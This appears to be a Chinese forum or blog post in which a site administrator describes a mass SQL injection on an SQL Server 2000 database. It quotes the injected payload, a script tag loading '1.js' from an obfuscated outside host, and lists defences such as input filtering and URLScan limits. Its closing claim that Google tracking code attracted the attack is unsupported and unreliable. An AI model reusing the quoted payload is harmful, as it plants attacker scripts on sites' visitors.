数据库被黑 很多表的字段的值后面被加上
</title>"><scrip</title>"><script src=http://%61%31%38%38%2E%77%73/1.js></script><!
公司的网站从从5.1节后连续遭受DDOS,和SQL注入攻击!但是论坛没有受到攻击。同样是SQL2000。公司网站的SQL2000和论坛分布在2台机器上。
解决办法是:
1.在网页程序(ASP.NET1.0)中优化代码,检测在传递数据的是否有非法字符。
2.加装微软的URLSCAN。(
http://www.microsoft.com/technet/security/tools/urlscan.mspx)
配置方法:
http://www.microsoft.com/china/t ... ance/secmod114.mspx其中重要的是:
限制请求大小可以使用 URLScan 作为另一道防线,甚至在请求到达 ASP.NET 之前,用来抵御拒绝服务攻击。可以通过对
MaxAllowedContentLength、
MaxUrl 和
MaxQueryString 属性设置限制来达到这一目的。
要限制请求的大小,请将下列配置添加到 URLScan.ini 中:
[RequestLimits]
; 此段落中的条目对到达服务器
; 的允许的请求部分的长度进行限制。
;MaxAllowedContentLength=2000000000
;MaxUrl=16384
;MaxQueryString=4096
改成:MaxAllowedContentLength=2000000000MaxUrl=240MaxQueryString=300
然后用Pangolin来攻击自己的服务器,看是否有效!
事后才知道
国外媒体报道,F-Secure公司估计近期将有5000万的网页被黑客攻击,这里面甚至包括一些来自UN和英国政府的站点。
据安全研究人员称,只要访问受到感染的站点,用户就可能遭到攻击。在浏览这些站点时,用户的计算机会加载一个名为1,js的文件。该文件存储在一台恶意服务器上,会试图执行8种不同的针对微软应用软件的恶意代码。
对此,微软安全响应中心的比尔·席斯克在一篇博客中写道,攻击不是由IIS或SQL Server中新发现或尚未发现的安全缺陷造成的。他说,攻击可能是由植入的SQL恶意代码造成的,并指出,Web开发人员应当遵守微软制定的开发行为守则,以防止类似攻击。
另外,有人认为此次攻击仅仅是一种利用Google自动寻找并利用微软SQL漏洞的工具所为。可能人们误以为是IIS新漏洞但实际是利用网页开发人员代码设计上的疏忽。
在被攻击之前,我就是在网页里加上了GOOGLE流量代码,才招来了黑客的攻击!我已经把GOOGLE的流量代码删除了!